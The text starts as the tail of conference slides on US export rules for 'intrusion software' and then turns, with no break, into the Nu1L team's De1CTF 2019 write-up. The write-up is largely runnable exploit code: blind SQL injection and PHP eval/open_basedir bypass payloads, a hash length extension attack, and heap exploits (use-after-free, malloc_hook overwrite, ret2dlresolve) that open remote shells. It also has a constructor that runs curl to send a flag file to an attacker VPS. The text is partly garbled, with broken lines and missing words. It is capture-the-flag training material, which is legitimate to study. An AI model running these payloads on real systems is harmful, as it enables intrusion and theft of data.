(regardless of transmission medium). EAR (Export Administration Regulations) --------------------------------------------------------> ● Governed by the US Bureau of Industry and Security (BIS) ● Controls “Dual Use Items” - Civilian items that have military applications ● Includes controls on Cryptography ● The new controls on “Intrusion Software” fit here Wait, didn’t we win the crypto wars? License Exception TSU The New Rules IP Network Surveillance Systems 5. A. 1. j. IP network communications surveillance systems or equipment, and specially designed components therefor, having all of the following: 1. Performing all of the following on a carrier class IP network (e.g., national grade IP backbone): ● Analysis at the application layer (e.g., Layer 7 of Open Systems Interconnection (OSI) model (ISO/IEC 7498-1)); ● Extraction of selected metadata and application content (e.g., voice, video, messages, attachments); and ● Indexing of extracted data; and 2. Being specially designed to carry out all of the following: ● Execution of searches on the basis of ‘hard selectors’; and ● Mapping of the relational network of an individual or of a group of people. What is “Intrusion Software?” “Software” specially designed or modified to avoid detection by ‘monitoring tools’, or to defeat ‘protective countermeasures’, of a computer or network capable device, and performing any of the following: • The extraction of data or information, from a computer or network capable device, or the modification of system or user data; or • The modification of the standard execution path of a program or process in order to allow the execution of externally provided instructions. ● ‘Monitoring tools’: “software” or hardware devices, that monitor system behaviours or processes running on a device. This includes antivirus (AV) products, end point security products, Personal Security Products (PSP), Intrusion Detection Systems (IDS), Intrusion Prevention Systems (IPS) or firewalls. ● ‘Protective countermeasures’: techniques designed to ensure the safe execution of code, such as Data Execution Prevention (DEP), Address Space Layout Randomisation (ASLR) or sandboxing Is “Intrusion Software” Controlled? NO Then what IS controlled? 4. A. 5. Systems, equipment, and components therefore, specially designed or modified for the generation, operation or delivery of, or communication with, “Intrusion Software”. 4. D. 4. “Software” specially designed or modified for the generation, operation or delivery of, or communication with, “Intrusion Software”. “Technology” is also controlled 4. E. 1. c. “Technology” for the “development” of “Intrusion Software”. Technology - Specific information necessary for the “development”, “production”, or “use” of a product. The information takes the form of ‘technical data’ or ‘technical assistance’. NOTE: “Intrusion Software” itself is NOT controlled, but information necessary for the “development” of “Intrusion Software” IS controlled, including “technical data” and “technical assistance.” The Implications What about Full Disclosure and Open Source? 15 CFR 734.3 - The following items are not subject to the EAR: Publicly available technology and software… that: (i) Are already published or will be published as described in §734.7 of this part; (ii) Arise during, or result from, fundamental research, as described in §734.8 of this part; (iii) Are educational, as described in §734.9 of this part; Encryption vs. “Intrusion Software” Stuff Encryption: ● License Exception TSU ● Must be publicly available ● Must be open source ● You must email BIS and notify them Controlled Stuff related to “Intrusion Software”: ● 15 CFR 734.3(b)(4) ● Must be publicly available ● Does NOT need to be open source ● BIS does NOT need to be notified Is Vulnerability Research Covered? BIS, in the federal register: “Technology for the development of intrusion software includes proprietary research on the vulnerabilities and exploitation of computers and network- capable devices.” BIS, in the FAQ on their website: “The proposed rule would not control… Information about the vulnerability, including causes of the vulnerability.” BIS, also in the FAQ on their website: “Neither the disclosure of the vulnerability nor the disclosure of the exploit code would be controlled under the proposed rule.” However: “The proposed rule would control… Technical data to create a controllable exploit that can reliably and predictably defeat protective countermeasures and extract information Information on how to prepare the exploit for delivery or integrate it into a command and delivery platform.” Coordinated Disclosure and Bug Bounties From the BIS FAQ: “Any technical data sent to an anti-virus company or software manufacturer with the understanding that the information will be made publicly available, would not be subject to the EAR. However, "technology" that is not intended to be published would be subject to the control.” Planning to disclose a mitigation bypass? Sharing Exploit Toolkit Samples? If you discover an exploit toolkit in the wild and want to share it with other infosec professionals or software vendors across borders, apparently, this may not be allowed under the proposed rule. BIS, in their FAQ: “Exploit toolkits would be described in proposed ECCN 4D004… There are no end user or end use license exceptions in the proposed rule.” What about training classes? On the one hand: Technical data to create a controllable exploit that can reliably and predictably defeat protective countermeasures and extract information. Information on how to prepare the exploit for delivery or integrate it into a command and delivery platform. On the other hand, 15 CFR 734.7(a)(4): Release at an open conference, meeting, seminar, trade show, or other open gathering. (i) A conference or gathering is “open” if all technically qualified members of the public are eligible to attend and attendees are permitted to take notes or otherwise make a personal record (not necessarily a recording) of the proceedings and presentations. (ii) All technically qualified members of the public may be considered eligible to attend a conference or other gathering notwithstanding a registration fee reasonably related to cost and reflecting an intention that all interested and technically qualified persons be able to attend, or a limitation on actual attendance, as long as attendees either are the first who have applied or are selected on the basis of relevant scientific or technical competence, experience, or responsibility (See Supplement No. 1 to this part, Questions B(1) through B(6)). Planning to travel outside the USA? § 740.14 Baggage (BAG). (a) Scope. This License Exception authorizes individuals leaving the United States either temporarily (i.e., traveling) or longer-term (i.e., moving) and crew members of exporting or reexporting carriers to take to any destination, as personal baggage, the classes of commodities, software and technology described in this section. BIS, in the Federal Register: “No license exceptions would be available for these items, except certain provisions of License Exception GOV, e.g., exports to or on behalf of the United States Government pursuant to § 740.11(b) of the EAR.” What about foreign coworkers & offices? BIS, in their FAQ: “The proposed rule does not provide for any exceptions to deemed export license requirements.” BIS on “Deemed Export” - “Release of controlled technology to foreign persons in the U.S. are "deemed" to be an export to the person’s country or countries of nationality.” Also, BIS, in their FAQ: “There is no license exception for intra-company transfers or internal use by a company headquartered in the United States under the proposed rule.” Debuggers and exploit generators? BIS, in their FAQ: “General purpose tools, such as IDEs, are not described under proposed ECCN 4D004 because they are not "specially designed" for the generation of "intrusion software." Some penetration testing tools (FAQ #12) and exploit toolkits (FAQ #18) are described in proposed ECCN 4D004, as they are command and delivery platforms for "intrusion software."” Jailbreaking Software? BIS, in their FAQ: “If particular jailbreak software did meet all the requirements for classification under ECCN 4D004 (such as a commercially sold delivery tool "specially designed" to deliver jailbreaking exploits) then it would be subject to control and a license would be required to export it from the United States. Note that if such software were "publicly available," it would not be subject to the Export Administration Regulations.” Will I get a license? BIS, in the Federal Register: “Note that there is a policy of presumptive denial for items that have or support rootkit or zero-day exploit capabilities.” Dave Aitel: “If you are modular in any way, you facilitate 0day. An 0day is just a program after all. So anything that can execute commands or auto update is now "default deny" for export.” What do we do about it? Comment Period? At the time these slides were composed, the open comment period will close before Defcon, on July 20th, 2015. However, we anticipate that BIS may extend this comment period, or open up a new one in the future. Key Points: ● At least, the US has published their interpretations and asked for feedback. ○ The Wassenaar Negotiators did not. ○ Many countries in Europe have enacted this without publishing information about how they plan to interpret it. ● Regulators will probably be responsive to clear, negative impacts the regs will have on: ○ Legitimate information security research. ○ Legitimate computer security work. ○ Legitimate business activity and the economy as a whole. ● Regulators will not be responsive to vitriol or paranoid, overly broad misinterpretations of their proposed regs. ○ Its important to relate potential problems to the specific statements that regulators have made about how they interpret the regulations. Stay Informed: Federal Register: https://www.federalregister. gov/articles/2015/05/20/2015-11642/wassenaar-arrangement-2013-plenary- agreements-implementation-intrusion-and-surveillance-items BIS FAQ: http://www.bis.doc.gov/index.php/licensing/embassy-faq Regs list: https://lists.alchemistowl.org/mailman/listinfo/regs
pdf
De1CTF 2019 WP Author:Nu1L Team Team Page:https://nu1l-ctf.com De1CTF 2019 WP Web Giftbox cloudmusic_rev 9calc ssrf ShellShellShell Re Evil_boost Signal vm Re_Sign Cplusplus Pwn A+B Judge Weapon Mimic_note Crypto xorz babyrsa Misc Upgrade Mine Sweeping Web Giftbox import pyotp import requests import string url = "http://222.85.25.41:8090/shell.php" session = requests.session() def req(cmd): command = {"a": cmd, "totp": pyotp.TOTP('GAXG24JTMZXGKZBU', interval=5, digits=8).now()} res = session.get(url, params = command) hint{G1ve_u_hi33en_C0mm3nd-sh0w_hiiintttt_23333} PHP, PHP, return res def blind_len(query): for i in range(1, 100): cmd = "login admin'/**/and/**/length(("+query+"))>{}# admin".format(i) result = req(cmd) if b'user' in result.content: return i-1 def blind_get(query): length = blind_len(query) print(length) result = '' for i in range(1, length+2): for c in string.printable: cmd = "login admin'/**/and/**/ord(mid(("+query+"),{},1))={}# admin".format(i, ord(c)) # print(cmd) resp = req(cmd) # print(resp) if b'password' in resp.content: result += c break print(result) if __name__ == "__main__": # blind_get('select/**/database()') # blind_len('select/**/version()') # blind_get('select/**/user()') # blind_get('select/**/group_concat(schema_name)/**/from/**/information_schema.s chemata') # blind_get("select/**/group_concat(table_name)/**/from/**/information_schema.ta bles/**/where/**/table_schema='giftbox'") # blind_get("select/**/group_concat(column_name)/**/from/**/information_schema.c olumns/**/where/**/table_name='users'") # blind_get("select/**/password/**/from/**/users/**/where/**/username='admin'") while True: print(req(input()).json()['message']) targeting code position` `code` `position launch PHP destruct position 0-9a-zA-Z+-_(){}$ , 12, code 2 phpinfo chdir, ini_set openbase_dir flag eval payload cloudmusic_rev https://github.com/impakho/ciscn2019_final_web1 githubexpok0x3000x7022Z2teQgmmLQJLjD targeting c phpinfo targeting d ${($c)()} launch destruct disabled_functions=pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifex ited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,p cntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signa l_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwait info,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_a sync_signals,dl,exec,system,passthru,popen,proc_open,shell_exec,mail,imap_open ,imap_mail,getenv,setenv,putenv,apache_setenv,symlink,link,popepassthru,syslog ,readlink,openlog,ini_restore,ini_alter,proc_get_status,chown,chgrp,chroot,pfs ockopen,stream_socket_server,error_log open_basedir=/app:/sandbox targeting a _GET targeting b s targeting c {${$a}{$b}} # php []{} targeting d ${eval($c)} launch &s=chdir('/app/css');ini_set('open_basedir','..');chdir('..');chdir('..');chdi r('..');ini_set('open_basedir','/');echo file_get_contents('/flag'); so __attribute__((constructor)) $version /flag root suid import base64 import requests import time retry_count = 5 preset_music = base64.b64decode('SUQzBAAAAAABBFRSQ0sAAAADAAADMQBUSVQyAAAAEgAAA2JiYmJiYmJiYmJi YmJiYmIAVEFMQgAAABIAAANjY2NjY2NjY2NjY2NjY2NjAFRQRTEAAAASAAADYWFhYWFhYWFhYWFhYW FhYQA=') site_url="http://139.180.144.87:9090" s = requests.session() url_login = site_url + '/hotload.php?page=login' data_lo = {'username': 'admin666', 'password': 'admin666'} aa=s.post(url=url_login,data=data_lo) url = site_url + '/hotload.php?page=upload' time.sleep(4) data_mu = {'file_id': '7'} music = preset_music[:0x6] + '\x00\x00\x03\x00' + preset_music[0x0a:0x53] music += '\x00\x00\x03\x00' + '\x00\x00\x03' + 'a' * 0x70 + '\x00' files = {'file_data': music} res = s.post(url, data=data_mu, files=files) print res.text a=`/usr/bin/tac /flag`;curl http://vps:8012 -d $a #include <stdio.h> #include <string.h> char _version[0x130]; char * version = &_version; __attribute__ ((constructor)) void fun(){ memset(version,0,0x130); FILE * fp=popen("a=`/usr/bin/tac /flag`;curl http://vps:8012 -d $a", "r"); if (fp==NULL) return; fread(version, 1, 0x100, fp); pclose(fp); } 9calc zsx import requests import json import string from urllib import quote def brute1(pos, val): data = """{"expression": {"_bsontype":"Symbol","value":"1//len('''\\n;if([1,0][10000000000000001 - 10000000000000000]){if(require('fs').readFileSync('/flag', 'utf8')[%d]=='%s') {'1';}else{'';} }else{1;}//''') or ['1','1'][open('/flag').read() [0]=='0']"},"isVip": true}""" % ( pos, val) url = "http://45.77.242.16/calculate" # url = "http://127.0.0.1:3000/calculate" r = requests.post(url, data=data, headers={'Content-Type': 'application/json'}) return r.text def brute2(pos, val): data = """{"expression": {"_bsontype":"Symbol","value":"1//len('''\\n;if([1,0][10000000000000001 - 10000000000000000]){if(require('fs').readFileSync('/flag', 'utf8')[0]=='0') {'1';}else{'1';} }else{1;}//''') or ['','1'][open('/flag').read() [%d]=='%s']"},"isVip": true}""" % ( pos, val) url = "http://45.77.242.16/calculate" # url = "http://127.0.0.1:3000/calculate" ssrf r = requests.post(url, data=data, headers={'Content-Type': 'application/json'}) return r.text def brute3(pos, val): data = """{"expression": {"_bsontype":"Symbol","value":"open('/dev/null').read()+'%s'+str(1//5) or ''' #\\n)//?>\\nfunction open(){return {read:()=>''}}function str(){return 0}/*<? php function open(){echo MongoDB\\\\BSON\\\\fromPHP(['ret' => file_get_contents('/flag')[%d].'0']);exit;}?>*///'''"},"isVip": true}""" % ( val, pos) url = "http://45.77.242.16/calculate" # url = "http://127.0.0.1:3000/calculate" r = requests.post(url, data=data, headers={'Content-Type': 'application/json'}) if 'classified' in r.text: return 'error' return r.text for i in range(0, 20): flag = True for c in string.printable: if ("ret" in brute1(i, c)): print c flag = False break for i in range(0, 20): flag = True for c in string.printable: if ("ret" in brute2(i, c)): print c flag = False break for i in range(0, 20): flag = True for c in string.printable: if ("ret" in brute3(i, c)): print c flag = False break ShellShellShell 1+1 https://xz.aliyun.com/t/2148payloadshell admin shell https://github.com/sensepost/reGeorg ip 172.18.0.2 import hashpumpy import requests import urllib.parse def remd5(hexdigest, url): print(hexdigest) return hashpumpy.hashpump(hexdigest, 'scan', 'read', 16+len(url)) def getsign(p): url = 'http://139.180.128.86/geneSign' params = {"param": p} resp = requests.post(url, params = params) return resp.text def req(p, sign, action): url = 'http://139.180.128.86/De1ta' params = {"param": p} cookies = {"sign": sign, "action": urllib.parse.quote(action)} resp = requests.get(url, params=params, cookies = cookies) return resp.text if __name__ == "__main__": url = "/app/flag.txt" result = getsign(url) res = remd5(result, url) resp = req(url, res[0], res[1]) print(resp) https://www.smi1e.top/-write-up/ web3 system("find / -iname '*flag*'") cat Re Evil_boost --cplusplus 999 --python 777 --javascript 234 name name11 ['(', ')', '*', '-', '/'] def re4(): signs = ['-','*','/'] nums = [str(i) for i in range(9)] exp = ['n','e','n','_','(','n','_','n','_','n',')'] for n1,n2,n3,n4,n5 in product(nums, repeat=5): for s1,s2,s3 in product(signs, repeat=3): exp[0],exp[2],exp[3],exp[5],exp[6],exp[7],exp[8],exp[9] = n1,n2,s1,n3,s2,n4,s3,n5 flag = ''.join(exp) data = ('de1ctf{'+flag+'}').encode('ascii') hash = md5(data) if hash.hexdigest() == '293316bfd246fa84e566d7999df88e79': Signal vm ptrace vm 7x7 x10 print(data) exit() if __name__ == '__main__': re4() from z3 import * def re3(): magic = 'Almost heaven west virginia, blue ridge mountains' dst = [214, 77, 45, 133, 119, 151, 96, 98, 43, 136, 134, 202, 114, 151, 235, 137, 152, 243, 120, 38, 131, 41, 94, 39, 67, 251, 184, 23, 124, 206, 58, 115, 207, 251, 199, 156, 96, 175, 156, 200, 117, 205, 55, 123, 59, 155, 78, 195, 218, 216, 206, 113, 43, 48, 104, 70, 11, 255, 60, 241, 241, 69, 196, 208, 196, 255, 81, 241, 136, 81] assert len(dst) == 70 s = Solver() v = [BitVec('v%d'%i, 8) for i in range(70)] for a in range(10): for round in range(7): sum = v[a*7] * ord(magic[round]) for j in range(1, 7): idx = (j << 3)-j + round sum += v[a*7+j] * ord(magic[idx]) s.add(sum == dst[a*7+round]) assert sat == s.check() Re_Sign Cplusplus word word1@word2#word3 patch 0x140002B78 0x4e (78) idx De1ta20637 word3 % 0x22 ==12 || word3 / 0x22 == 3 && 0x22 * 3 + 12 == 114 Pwn sol = s.model() flag = ''.join([chr((sol[v[i]].as_long())) for i in range(70)]) print(flag) if __name__ == '__main__': re3() # coding = utf-8 from base64 import b64decode,b64encode def re1(): # trans = {65: 85, 57: 74, 51: 68, 73: 82, 52: 69, 83: 86, 54: 71, 106: 48, 66: 104, 79: 83, 113: 107, 112: 116, 69: 77, 80: 84, 99: 53, 89: 80, 53: 70, 107: 49, 119: 108, 90: 100, 71: 89, 68: 87, 121: 112, 77: 106, 48: 65, 102: 120, 100: 119, 56: 73, 84: 79, 103: 121, 82: 78, 97: 117, 74: 97, 104: 122, 75: 98, 105: 114, 76: 99, 122: 51, 72: 90, 117: 113, 109: 57, 101: 109, 70: 88, 108: 50, 115: 118, 50: 67, 88: 101, 78: 105, 116: 111, 110: 56, 67: 102, 120: 52, 86: 103, 81: 75, 85: 81, 47: 47, 43: 43, 87: 76, 49: 66, 114: 110, 98: 55, 61: 61, 111: 115} tbl = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=' arr = [0x08 ,0x3B ,0x01 ,0x20 ,0x07 ,0x34 ,0x09 ,0x1F,0x18 ,0x24 ,0x13 ,0x03 ,0x10 ,0x38 ,0x09 ,0x1B,0x08 ,0x34 ,0x13 ,0x02 ,0x08 ,0x22 ,0x12 ,0x03,0x05 ,0x06 ,0x12 ,0x03 ,0x0F ,0x22 ,0x12 ,0x17,0x08 ,0x01 ,0x29 ,0x22 ,0x06 ,0x24 ,0x32 ,0x24,0x0F ,0x1F ,0x2B ,0x24 ,0x03 ,0x15 ,0x41 ,0x41] result = ''.join([tbl[each-1] for each in arr]) print(b64decode(result.translate(trans))) 0x140002BDE: 48 8B 9C 24 F8 13 00 00 48 81 C4 E0 13 00 00 5D 48 8D 8D 88 00 00 00 66 83 01 01 E9 B2 FD FF FF A+B Judge Weapon free0 UAF double freesizeunsorted bin freelibc,stdoutfake_fastbin #include <unistd.h> #include <sys/ioctl.h> #include <pthread.h> #include <stdlib.h> #include <string.h> #include <stdio.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> struct x{ char * cat; char * flag; char * null; }; int main() { char * flag = "/home/ctf/flag"; char * cat = "cat"; struct x xx; xx.cat = cat; xx.flag = flag; xx.null = 0; char ** x = &xx; char *args[3]={cat, flag,0}; char *name = "/bin/cat"; //execveat(0, "/bin/cat",args, 0,0); __asm__ __volatile__( "mov $322,%%rax\n" "xor %%rdi,%%rdi\n" "mov %0,%%rsi\n" "mov %1,%%rdx\n" "xor %%rcx,%%rcx\n" "xor %%r10,%%r10\n" "xor %%r8,%%r8\n" "xor %%r9,%%r9\n" "syscall" ::"m"(name),"m"(x)); } stdoutlibc uafmalloc_hookchunk,malloc_hookone_gadget from pwn import * # s = process("./pwn 2") # gdb.attach(s,"b *$rebase(0xe9b)") # raw_input(">") s = remote('139.180.216.34',8888) def add(size,idx,buf): s.sendlineafter("choice >>","1") s.sendlineafter("wlecome input your size of weapon: ", str(size)) s.sendlineafter("input index:",str(idx)) s.sendafter("input your name:",buf) def free(idx): s.sendlineafter("choice >>","2") s.sendlineafter("input idx :", str(idx)) s.recvuntil("Done!") def edit(idx,buf): s.sendlineafter("choice >>","3") s.sendlineafter("input idx:",str(idx)) s.sendafter("new content:",buf) add(0x18,0,( p64(0x21)+p64(0x21)) ) add(0x60,1,p64(0x21)+p64(0x21)) add(0x18,2,p64(0x21)+p64(0x21)) add(0x60,7,(p64(0x21)+p64(0x21)*6)) add(0x10,4,p64(0x21)+p64(0x21)) free(1) free(0) free(2) free(0) add(0x18,0,'\x10') add(0x18,0,'\x00') add(0x18,0,'\x10') add(0x18,3,p64(0)+p64(0x91)) free(1) # addr = int(raw_input("add:"),16)+0x10 edit(3,p64(0)+p64(0x71)+'\xdd'+chr(5+0x80)) add(0x60,5,'\x00') payload = 'A'*51+p64(0xfbad3887) payload = payload.ljust(83,'A')+'\x50'+chr(6+0x80) # raw_input(">") add(0x60,5,payload) s.recvline() libc = s.recv(8).ljust(8,'\x00') libc = u64(libc) Mimic_note success(hex(libc)) libcbase = libc-3954339 success(hex(libcbase)) libc = ELF("./libc6_2.23-0ubuntu10_amd64.so") puts = libcbase+libc.symbols['puts'] success(hex(puts)) malloc_hook = libcbase + libc.symbols['__malloc_hook'] success(hex(malloc_hook)) free(1) edit(3,p64(0)+p64(0x71)+p64(malloc_hook-0x23)) add(0x60,5,'\x00') one_gadget = libcbase+0xf1147 add(0x60,5,'A'*19+p64(one_gadget)) s.sendline("1") s.sendline("30") s.sendline("8") s.interactive() ''' 0x45216 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL 0x4526a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL 0xf02a4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL 0xf1147 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL ''' from pwn import * p = remote('45.32.120.212', 6666) #p = process('./mimic_note_64') #p = process('./mimic') #lib32 = ELF('/lib/i386-linux-gnu/libc-2.23.so') #lib64 = ELF('/lib/x86_64-linux-gnu/libc-2.23.so') def add(size): p.recvuntil('>>') p.sendline('1') p.recvuntil('?') p.sendline(str(size)) def dele(idx): p.recvuntil('>>') p.sendline('2') p.recvuntil('?') p.sendline(str(idx)) def edit(idx,cont): p.recvuntil('>>') p.sendline('4') p.recvuntil('?') p.sendline(str(idx)) p.recvuntil('?') p.send(cont) add(0x104) add(0x104) add(0x104) add(0x10) add(0x10) edit(1,'a'*(0x100-8)+p32(0x100)+p32(0x109+8)) edit(0,(p32(0)+p32(0x109-8)+p32(0x804a060-12)+p32(0x804a060-8)).ljust(0x104- 4,'\x00')+p32(0x100)) dele(1) edit(0,p32(0)*3+p32(0x804a060)+p32(0x200)+p32(0)*2+p32(0x804a8e8)+p32(0x300)+p 32(0x804A024)+p32(0x200)+p32(0x804A018)+p32(0x100)) dynsym = 0x080481d8 dynstr = 0x080482C8 fake_sym_addr = 0x804a8f8 rel = 0x80483C8 off = 0x804a8e8 - rel print off index_dynsym = (fake_sym_addr - dynsym) / 0x10 print hex(fake_sym_addr) r_info = (index_dynsym << 8) | 0x7 fake_reloc = p32(0x804A024) + p32(r_info) st_name = 0x804a8e8+0x28 - dynstr print hex(st_name) fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)+p32(0)+p32(0) edit(2,fake_reloc.ljust(0x10,'\x00')+fake_sym+'system\x00\x00`cat /flag`\x00') edit(4,p32(0x08048422)) edit(3,p32(0x80488F6))#off 0x60-0x3c edit(0,p32(0x804a060)+p32(0x300)+p32(0)*2+p32(0x804a014)+p32(100)+ (p32(0x804a020)+p32(0x100))*2) edit(2,p32(0x08048422)*2) off32 = 0x6c-0x3c add(0x108)# Crypto xorz keytableprintable add(0x108)#5 add(0xf8)#6 add(0xf8)#7 add(0xf8)#8 add(0xf8)#9 edit(5,p64(0)+p64(0x101)+p64(0x6020f0-0x18)+p64(0x6020f0-0x10)+(0x108- 0x28)*'\x00'+p64(0x100)) dele(6) edit(5,p64(0x10)+p64(0x6020f0)+p64(0x200)+p64(0x6020f0)+p64(0x200)+p64(0)*2+p6 4(0x602030)+p64(0x200)+p64(0x602060)+p64(0x200)+p64(0x602058)+p64(0x200)) edit(7,p64(0x400ace)[:-1]) edit(8,p64(0x400afe)[:-1]) edit(9,p64(0x400afe)[:-1]) p.recvuntil('>>') p.sendline('5') raw_input() p.sendline('\x00'*(off32- 4)+p32(0)+p32(0x8048440)+p32(9504)+p32(0x8048926)+p32(0x804a8e8+0x30)) p.interactive() salt = "WeAreDe1taTeam" si = cycle(salt) babyrsa cipher ='49380d773440222d1b421b3060380c3f403c3844791b202651306721135b6229294a3c322235 7e766b2f15561b35305e3c3b670e49382c295c6c170553577d3a2b791470406318315d753f0363 7f2b614a4f2e1c4f21027e227a4122757b446037786a7b0e37635024246d60136f7802543e4d36 265c3e035a725c6322700d626b345d1d6464283a016f35714d434124281b607d315f66212d6714 28026a4f4f79657e34153f3467097e4e135f187a21767f02125b375563517a3742597b6c394e78 742c4a725069606576777c314429264f6e330d7530453f22537f5e3034560d22146831456b1b72 725f30676d0d5c71617d48753e26667e2f7a334c731c22630a242c7140457a4232462906444103 6c7e646208630e745531436b7c51743a36674c4f352a5575407b767a5c747176016c0676386e40 3a2b42356a727a04662b4446375f36265f3f124b724c6e34654470627764102506342001662922 5b43432428036f29341a2338627c47650b264c477c653a67043e6766152a485c7f336172647806 56537e5468143f305f4537722352303c3d4379043d69797e6f3922527b24536e310d653d4c3369 6c635474637d0326516f745e610d773340306621105a7361654e3e392970687c2e335f3015677d 4b3a724a4659767c2f5b7c16055a126820306c14315d6b59224a27311f747f336f4d5974321a22 507b22705a226c6d446a37375761423a2b5c29247163046d7e4703224437750830075172712632 6f117f7a38670c2b23203d4f27046a5c5e1532601126292f577776606f0c6d0126474b2a73737a 41316362146e581d7c1228717664091c'.decode('hex') si = cycle(salt) tmp = [ord(c) ^ ord(next(si)) for c in cipher] dic = [set() for _ in range(0x100)] table = string.printable for i in string.letters + string.digits + '_-, .()': for j in string.letters + string.digits + '_-, .()': dic[ord(i) ^ ord(j)].add((i)) for key_length in range(1, 38): for i in range(key_length): s = copy.deepcopy(dic[tmp[i]]) for j in range(i, len(tmp), key_length): s &= dic[tmp[j]] if not len(s): break elif i == key_length - 1: print key_length key_length = 30 for i in range(key_length): s = copy.deepcopy(dic[tmp[i]]) for j in range(i, len(tmp), key_length): s &= dic[tmp[j]] print key_length,i,s flag ="de1ctf{"+'W3lc0m3tOjo1nu5'+'W3lc0m3tOjo1nu5'[::-1] +'}' print flag import binascii import gmpy2 import libnum # from data import e1, e2, p, q1p, q1q, hint, flag p = 109935857933867829728985398563235455481120300859311421762540858762721955038310 117609456763338082237907005937380873151279351831600225270995344096532750271070 807051984097524900957809427861441436796934012393707770012556604479065826879107 677002380580866325868240270494148512743861326447181476633546419262340100453 # solve RST to get p ee1 = 42 ee2 = 3 ce1 = 457226517863401239469608150030593225288104818413782472806428685536076921495091 269628725830371424613988066894891417414949748368823415052342553256832190921630 528434616323384425290115023789311403561117569327128225168140231660689025694582 999333919735040788989589218097233462298939136625772949635283184246768039422883 864301724308803076197481868638900501139345738205055709281090178426475982666343 444471823478493677145646863418710075058867283937511470335568892176046473556285 575022083644122699449080113050641229414465169901689247096840922001838606531738 56272384 ce2 = 139084683323335671584691364399323259923496968891291039354007602393194544095397 253897470592138352383730478991982111286893740497295781468753092319629365544032 878829999678403462166952084245827397770342610795503959180484210868439270094524 799360458507990967500743591607751822389809892291901575511978308798770977033473 010724271494749918038683257699673323569508635185049654865654640597704514585577 449497352821317279560562792928006942038661672702689884373899457031170706044889 992477501395686149399658852112768219875868829081595858635145611919050402449676 55444219603287214405014887994238259270716355378069726760953320025828158 tmp = 864078778078609835167779565982540757684070450697854309005171742813414963447462 554999012718960925081621571487444725528982424037419052194840720949809891134854 871222612682162490991065015935449289960707882463387 n = 159115815557967986147116252885083097047918375162321224104409588307260788210690 504040128208962600717513804369927106383642946581735711015969316057975097128396 224793688502512064197480900597524273036117600046213782264312269836657468377790 562715301818656481158629475272127878246295162048323130264563900477681747656870 409506365304805490144012790543460980303951003870041115742788137496309867247062 636551662895862304539759537737919454085894846793718541134577581574922412251809 070902351163250348229937484090115546731804943060032728369050824734750462775540 85737627846557240367696214081276345071055578169299060706794192776825039 e1 = gmpy2.iroot(ce1, ee1)[0] e2 = 0 for i in range(100000): if gmpy2.iroot(ce2 + i * n, ee2)[1]: e2 = gmpy2.iroot(ce2 + i * n, ee2)[0] break e2 = e2 - tmp assert(pow(e1, ee1, n) == ce1) assert(pow(e2 + tmp, ee2, n) == ce2) e = 46531 c = 149921321409961603309673075585031172556269257774266119785183390506710130414907 246168926349110309183608679748943715391608538271805961008921807357706887232707 653876976044267156704452708196267093645664787812736761159216579677614946194480 952071693863645411646591232732368746498882364333991274078018434126772935169863 981901652911021093104583046262616483468251967435392201981993667118581352718776 624103555857671240595392172746916068251033553103486076112330527258052367632203 432498738496462198509549453467910158582617159679524610216503073074544345108518 69862964236227932964442289459508441345652423088404453536608812799355469 # just factor n since p,q too close q1q = 127587319253436643569312142058559706815497211661083866592534217079310497260365 307426095661281103710042392775453866174657404985539066741684196020137840472950 102380232067786400322600902938984916355631714439668326671310160916766472897536 055371474076089779472372913037040153356437528808922911484049460342088835693 q1p = 127587319253436643569312142058559706815497211661083866592534217079310497260365 307426095661281103710042392775453866174657404985539066741684196020137840472950 102380232067786400322600902938984916355631714439668326671310160916766472897536 055371474076089779472372913037040153356437528808922911484049460342088834871 # hint = int(binascii.hexlify(hint), 16) assert(q1p * q1q == n) assert(q1p < q1q) d = libnum.invmod(e, (q1q - 1) * (q1p - 1)) hint = pow(c, d, n) assert(c == pow(hint, e, n)) print libnum.n2s(hint) # flag = int(binascii.hexlify(flag), 16) q1 = q1p q2 = 114401188227479584680884046151299704656920536168767132916589182357583461053336 386996123783294932566567773695426689447410311969456458574731187512974868297092 638677515283584994416382872450167046416573472658841627690987228528798356894803 559278308702635288537653192098514966089168123710854679638671424978221959513 c1 = 262739975753930281690942784321252339035906196846340713237510382364557685379543 498765074448825799342194332681181129770046075018122033421983227887719610112028 230603166527303021036386350781414447347150383783816869784006598225583375458609 586450854602862569022571672049158809874763812834044257419199631217527367046624 888837755311215081173386523806086783266198390289097231168172692326653657393522 561741947951887577156666663584249108899327053951891486355179939770150550995812 478327735917006194574412518819299303783243886962455399783601229227718787081785 391010424030509937403600351414176138124705168002288620664809270046124 c2 = 739559112922887664903081961668582189920483268499575772492445081297747078782226 638712233472213276047091159917636261722521834540446827001454881726772766987289 683810645152039280649746657690706329560374666000318844017091949015725082930817 331071531892577164310506488262074617126649985904903801690216259926140905090714 082335299075029823950835576723857570980316767681045655966547612114976694785191 106470664650670539709162664871368451178045695545355202046090963801613412459043 842573882682869477396051422191010947394145147143163790318220573873810942973642 5025621308300895473186381826756650667842656050416299166317372707709596 # assert(c1 == pow(flag, e1, p * q1)) # assert(c2 == pow(flag, e2, p * q2)) # print e1, p, q1 # print e2, p, q2 # print libnum.gcd(p - 1, e2) g, x, y = libnum.xgcd(e1, (p - 1) * (q1 - 1)) d1 = x % (p - 1) * (q1 - 1) g, x, y = libnum.xgcd(e2, (p - 1) * (q2 - 1)) d2 = x % (p - 1) * (q2 - 1) n1 = p * q1 n2 = p * q2 t1 = 564668593947513130356227369842582372799179397210032816538475696431596094830265 612058209092277548839038325811166643880264647763772972674567806357310780055992 417418082752581971067375647902142618402828309702097563622689337014322091230699 784746794369734295188964723409726327386693945005238363895580374470066357647757 611558283162465544509782263557548416944618951103137756640408624777780916853090 411841200124831845314707485844558534936657176989968018490733714981464074153340 